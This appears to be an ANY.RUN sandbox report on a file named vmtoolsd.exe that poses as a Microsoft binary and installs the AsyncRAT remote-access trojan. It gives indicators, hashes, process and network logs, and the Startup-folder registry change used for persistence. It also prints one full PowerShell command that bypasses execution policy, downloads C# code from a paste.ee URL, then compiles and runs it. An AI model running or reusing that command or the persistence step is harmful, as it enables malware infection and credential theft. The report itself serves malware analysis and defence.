File name:

vmtoolsd.exe

Full analysis: https://app.any.run/tasks/95871e8c-fa87-4587-ba50-d040d8629a32
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: April 16, 2025, 17:29:17
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
pastebin
rat
asyncrat
remote
stealer
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 12 sections
MD5:

BFB97EADA45404AE97283C9BC7429CA1

SHA1:

060556AA0CCE67B9B5555F7AF10ECD1497F5351E

SHA256:

2E9CBEF2D254F8A5B4A166B128926062B7FB9A6D70894DA21E12E8C277CEBFEA

SSDEEP:

3072:MPsAR5twHNcdyZvgyCfYAhlZ+pWkSb4o5PYyNvAgsoyqQ96aJc2N/2:M0AR5twHNcdyZv8HyVSEo5PI+y1xCE+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • vmtoolsd.exe (PID: 7300)

    • Changes the autorun value in the registry

      • vmtoolsd.exe (PID: 7300)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 864)

    • Changes powershell execution policy (Bypass)

      • vmtoolsd.exe (PID: 7300)

    • ASYNCRAT has been detected (SURICATA)

      • RegSvcs.exe (PID: 2984)

    • Steals credentials from Web Browsers

      • RegSvcs.exe (PID: 2984)

    • Actions looks like stealing of personal data

      • RegSvcs.exe (PID: 2984)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • vmtoolsd.exe (PID: 7300)

    • Starts a Microsoft application from unusual location

      • vmtoolsd.exe (PID: 7300)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 5124)
      • vmtoolsd.exe (PID: 7300)

    • Starts POWERSHELL.EXE for commands execution

      • vmtoolsd.exe (PID: 7300)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 864)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 5124)

    • Contacting a server suspected of hosting an CnC

      • RegSvcs.exe (PID: 2984)

  • INFO

    • Creates files in the program directory

      • vmtoolsd.exe (PID: 7300)

    • The sample compiled with english language support

      • vmtoolsd.exe (PID: 7300)

    • Checks supported languages

      • vmtoolsd.exe (PID: 7300)
      • cvtres.exe (PID: 2600)
      • csc.exe (PID: 5124)
      • RegSvcs.exe (PID: 2984)

    • Create files in a temporary directory

      • cvtres.exe (PID: 2600)
      • csc.exe (PID: 5124)

    • Reads the software policy settings

      • slui.exe (PID: 7376)
      • slui.exe (PID: 8156)
      • RegSvcs.exe (PID: 2984)

    • Checks proxy server information

      • slui.exe (PID: 8156)
      • powershell.exe (PID: 864)
      • RegSvcs.exe (PID: 2984)

    • Disables trace logs

      • powershell.exe (PID: 864)
      • RegSvcs.exe (PID: 2984)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 5124)
      • RegSvcs.exe (PID: 2984)

    • Reads the computer name

      • RegSvcs.exe (PID: 2984)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:04:11 12:18:44+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14
CodeSize: 64000
InitializedDataSize: 66560
UninitializedDataSize: -
EntryPoint: 0x22c0
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 11.0.26100.1150
ProductVersionNumber: 11.0.26100.1150
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: F12 Attach Chooser executable
FileVersion: 11.00.26100.1150 (WinBuild.160101.0800)
InternalName: F12Chooser.exe
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: F12Chooser.exe
ProductName: Internet Explorer
ProductVersion: 11.00.26100.1150
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
153
Monitored processes
14
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start vmtoolsd.exe sppextcomobj.exe no specs slui.exe slui.exe powershell.exe conhost.exe no specs csc.exe cvtres.exe no specs ucpdmgr.exe no specs conhost.exe no specs ucpdmgr.exe no specs conhost.exe no specs #ASYNCRAT regsvcs.exe svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
864C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -command ""$source = (Invoke-WebRequest -Uri 'https://paste.ee/r/Bi9rbOsB').Content; Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source -Language CSharp; [HelloWorld]::SayHello()""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
vmtoolsd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2600C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES12EA.tmp" "c:\Users\admin\AppData\Local\Temp\CSC41B90D0458244CFB89A8689F347770A0.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\vcruntime140_1_clr0400.dll
2984"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
4380\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5124"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ppvblopj.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
6248\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—UCPDMgr.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7300"C:\Users\admin\Desktop\vmtoolsd.exe" C:\Users\admin\Desktop\vmtoolsd.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
F12 Attach Chooser executable
Exit code:
0
Version:
11.00.26100.1150 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\desktop\vmtoolsd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
7344C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7376"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
11 164
Read events
11 149
Write events
15
Delete events
0

Modification events

(PID) Process:(7300) vmtoolsd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Operation:writeName:Startup
Value:
C:\ProgramData\Vware\Vware_3A9B43B37AC6FB6
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2984) RegSvcs.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\RegSvcs_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
Executable files
2
Suspicious files
3
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zmn4tiom.wvw.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
864powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x0i2zz1u.kby.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
864powershell.exeC:\Users\admin\AppData\Local\Temp\ppvblopj.0.cstext
MD5:7D6EABA49C6197E148FC4B7452B1528F
SHA256:97F1A04EF8ACA91A458DD3CB2C6FB29B18F24701620796441955FCECA998DEC2
864powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:2703CB04D4683062655B51EA640EC57A
SHA256:ACA65C288C8ED195F08A8B271C81A497E2FB840C589E813657D585ECA9189067
5124csc.exeC:\Users\admin\AppData\Local\Temp\ppvblopj.dllexecutable
MD5:6767D82878BBC1586C603F6B52036384
SHA256:F775EB64DBF055E6E37357D9F99B089565940740A07F3055CC26FE4A4B16C5CD
5124csc.exeC:\Users\admin\AppData\Local\Temp\CSC41B90D0458244CFB89A8689F347770A0.TMPbinary
MD5:8CDEF55F00E88A73F81BB8143F94A114
SHA256:4ABFEDF6EAA0C55A4BAD4DA39ACA208FE3E4F5DA51B22D7B10FE433C63036EF2
2600cvtres.exeC:\Users\admin\AppData\Local\Temp\RES12EA.tmpbinary
MD5:BA16B1357DF6C3238FC1BD209FD118B1
SHA256:34BFF25BBC76AB6624C296A11475103CE6C3AF767761089F29A4769FA149FFBA
5124csc.exeC:\Users\admin\AppData\Local\Temp\ppvblopj.outtext
MD5:E713C027B80485578CAD4A995E260DA5
SHA256:A88E8BDDD90B14B5A751CA0292989846875E4EC5D2EBDC74E8F47228080ECB87
864powershell.exeC:\Users\admin\AppData\Local\Temp\ppvblopj.cmdlinetext
MD5:5C6B209E1071F7420F0096FB9A8D0687
SHA256:D87CF9845D49A15C403FE8151B3C69132680063CE7F7654A1130676AA1BF9BD7
7300vmtoolsd.exeC:\ProgramData\Vware\Vware_3A9B43B37AC6FB6\vmtoolsd.exeexecutable
MD5:BFB97EADA45404AE97283C9BC7429CA1
SHA256:2E9CBEF2D254F8A5B4A166B128926062B7FB9A6D70894DA21E12E8C277CEBFEA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
41
DNS requests
20
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.157:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7988
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7988
SIHClient.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.157:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2112
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
40.126.32.136:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7988
SIHClient.exe
172.202.163.200:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
whitelisted
google.com
  • 172.217.23.110
whitelisted
crl.microsoft.com
  • 23.48.23.157
  • 23.48.23.141
  • 23.48.23.139
  • 23.48.23.191
  • 23.48.23.195
  • 23.48.23.135
  • 23.48.23.151
  • 23.48.23.140
  • 23.48.23.194
whitelisted
login.live.com
  • 40.126.32.136
  • 20.190.160.64
  • 40.126.32.72
  • 20.190.160.130
  • 20.190.160.2
  • 20.190.160.3
  • 20.190.160.67
  • 40.126.32.76
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
www.microsoft.com
  • 2.23.246.101
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted
nexusrules.officeapps.live.com
  • 52.111.227.11
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Misc activity
ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee)
864
powershell.exe
Potential Corporate Privacy Violation
ET INFO Pastebin-style Service (paste .ee) in TLS SNI
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.endofinternet .net Domain
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Online Pastebin Text Storage
2984
RegSvcs.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
2984
RegSvcs.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert
2984
RegSvcs.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
vmtoolsd.exe